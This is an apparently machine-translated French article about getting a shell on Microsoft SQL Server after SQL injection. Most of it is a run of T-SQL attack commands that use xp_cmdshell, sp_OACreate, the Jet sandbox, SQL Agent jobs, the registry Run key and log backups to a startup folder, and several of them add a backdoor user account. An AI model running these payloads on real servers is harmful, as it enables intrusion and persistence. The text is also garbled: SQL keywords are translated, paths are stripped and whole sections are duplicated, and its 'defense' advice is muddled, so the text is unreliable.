SQL Server est une base de données largement utilisée par les sites Web de petite et moyenne taille. En raison de ses fonctions puissantes, elle a également causé de nombreux problèmes de sécurité, qui sont populaires en Chine depuis longtemps, entraînant un flux incessant de techniques d'intrusion. pour SQL Server. Étant donné que SQL Server prend en charge plusieurs instructions, je pense que de nombreux pirates utilisent rarement des méthodes telles que deviner les noms de tables lors de l'injection de SQL dans SQL Server, mais se tournent directement vers l'utilisation des procédures et des fonctions stockées de SQL Server pour obtenir rapidement les autorisations. concentrez-vous sur le système SQL Server, les procédures et les fonctions stockées pour introduire ces hacks.
1. Exécuter les commandes système
À l'aide de procédures stockées, nous pouvons obtenir rapidement et facilement un shell, comme l'exécution de commandes système. L'appel à l'extension de stockage est le suivant :
exec master..xp_cmdshell 'utilisateur net ray ray / ajouter'
xp_cmdshell est une procédure stockée de commande système fournie avec SQL Server. Par défaut, seul le rôle serveur SYSADMIN peut l'exécuter.
À l'aide de l'interface objet OLE, SQL SERVER fournit certaines fonctions pour accéder aux objets OLE, à savoir sp_OACREATE et sp_OAMethod. Vous pouvez les utiliser pour appeler des contrôles OLE et obtenir indirectement un shell. Utilisez SP_OAcreate pour appeler l'objet wscript. shell est affecté à la variable @shell, puis utilise SP_OAMETHOD pour appeler l'attribut run de @shell afin d'exécuter la commande.
DÉCLARER @shell INT
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell, 'run', null, 'net user ray ray /add'
Activez le mode d'accès sandbox. Par défaut, le moteur de données Jet ne prend pas en charge les instructions SQL telles que select shell ("net user ray ray /add"). Cependant, après avoir activé le mode sandbox du moteur JET, vous pouvez le faire. exécuter des commandes. Première utilisation La procédure stockée xp_regwrite réécrit le registre, puis utilise OpenRowSet pour accéder à un fichier de base de données ACCESS fourni avec le système lui-même, puis exécute l'instruction SQL pour exécuter la commande.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWareMicrosoftJet4.0 Engines','SandBoxMode','REG_DWORD',0
Sélectionnez * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user ray ray /add")');
En plus de cela, vous pouvez également utiliser SQL Agent pour exécuter des commandes. Bien entendu, vous devez d'abord ouvrir le service SQL Agent. Ce service est fermé par défaut. Nous pouvons d'abord utiliser xp_servicecontrol pour ouvrir SQLSERVERAGENT, puis créer une tâche planifiée SQL. puis exécutez la tâche immédiatement.
exec master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT'
utilisez msdb exec sp_delete_job null, 'x'
exécutable sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:'
exec sp_add_jobserver Null, 'x', @@nom du serveur exec sp_start_job 'x'
[Page coupée]
2. Écrivez des fichiers arbitraires pour exécuter des commandes
Utilisez xp_regwrite pour écrire l'entrée de registre et écrivez directement la commande à exécuter dans l'entrée de démarrage RUN.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'LOGICIELMicrosoftWindowscurrentversionrun', 'shell', 'REG_SZ', 'C:windowssystem32cmd.exe /c net user ray ray /add'
Sauvegarder les journaux dans les éléments de démarrage
Nous pouvons activer le mode de récupération complète d'une base de données, puis créer une nouvelle table, insérer la commande à sauvegarder dans le journal, et enfin sauvegarder le journal dans un fichier batch dans le dossier de démarrage de l'utilisateur. Ce fichier sera exécuté après. la machine redémarre.
modifier la base de données msdb set RECOVERY FULL--
créer une table cmd (une image)--
sauvegarde du journal msdb sur le disque = 'c:cmd1' avec init--
insérer dans les valeurs cmd (a) ()--
sauvegarde du journal ISTO sur le disque = 'C:Documents and SettingsAll Users"Start" MenuProgramsStartup1.bat'--
déposer la table cmd--
3. Les utilisateurs disposant d'autorisations arbitraires peuvent exécuter des commandes
Dans un rôle de serveur avec n'importe quelle autorisation, nous pouvons utiliser la macro OPENROWSET pour exécuter des commandes tant que nous connaissons le compte et le mot de passe du rôle SYSADMIN du serveur.
sélectionnez * dans OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')
[Page coupée]
4. Autre acquisition d'informations système
Répertoire de parcours
exec master.dbo.xp_dirtree 'c:'
Obtenir le sous-répertoire
exec master.dbo.xp_subdirs 'c:'
Liste des partitions système disponibles
exec master.dbo.xp_availablemedia
Déterminer si un répertoire ou un fichier existe
maître d'exécution..xp_fileexist 'c:boot.ini'
5. Il existe des moyens de se défendre contre l'injection SQL
1. Modifiez la structure du tableau. Modifiez le type de données du champ du compte de l'administrateur, en changeant le type de texte au champ maximum de 255 (en fait assez, si vous souhaitez l'agrandir, vous pouvez choisir le type de note), et définissez le champ du mot de passe de la même manière.
2. Modifiez le tableau. Définissez le compte avec les droits d'administrateur dans ID1 et saisissez un grand nombre de caractères chinois, de préférence plus de 100 caractères.
3. Mettez le vrai mot de passe administrateur dans n'importe quelle position après ID2.
Nous avons complété la modification de la base de données en suivant les trois étapes ci-dessus.
La modification est-elle terminée à ce moment-là ? En fait, ce n'est pas le cas. Vous devez comprendre que le compte ID1 que vous avez créé est en fait un compte avec de vraies autorisations. Maintenant, la vitesse de traitement de l'ordinateur est si rapide. calculez-le, ce n’est pas correct. Je pense que la plupart des gens ont déjà pensé à un moyen. Oui, il suffit d'écrire la limite de caractères dans le fichier de la page de connexion de l'administrateur. Même si l'autre partie utilise le mot de passe de ce compte avec des milliers de caractères, il sera bloqué et les vrais mots de passe pourront l'être ! libre.
[Page coupée]2. Écrivez des fichiers arbitraires pour exécuter des commandes
Utilisez xp_regwrite pour écrire l'entrée de registre et écrivez directement la commande à exécuter dans l'entrée de démarrage RUN.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'LOGICIELMicrosoftWindowscurrentversionrun', 'shell', 'REG_SZ', 'C:windowssystem32cmd.exe /c net user ray ray /add'
Sauvegarder les journaux dans les éléments de démarrage
Nous pouvons activer le mode de récupération complète d'une base de données, puis créer une nouvelle table, insérer la commande à sauvegarder dans le journal, et enfin sauvegarder le journal dans un fichier batch dans le dossier de démarrage de l'utilisateur. Ce fichier sera exécuté après. la machine redémarre.
modifier la base de données msdb set RECOVERY FULL--
créer une table cmd (une image)--
sauvegarde du journal msdb sur le disque = 'c:cmd1' avec init--
insérer dans les valeurs cmd (a) ()--
sauvegarde du journal ISTO sur le disque = 'C:Documents and SettingsAll Users"Start" MenuProgramsStartup1.bat'--
déposer la table cmd--
3. Les utilisateurs disposant d'autorisations arbitraires peuvent exécuter des commandes
Dans un rôle de serveur avec n'importe quelle autorisation, nous pouvons utiliser la macro OPENROWSET pour exécuter des commandes tant que nous connaissons le compte et le mot de passe du rôle SYSADMIN du serveur.
sélectionnez * dans OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')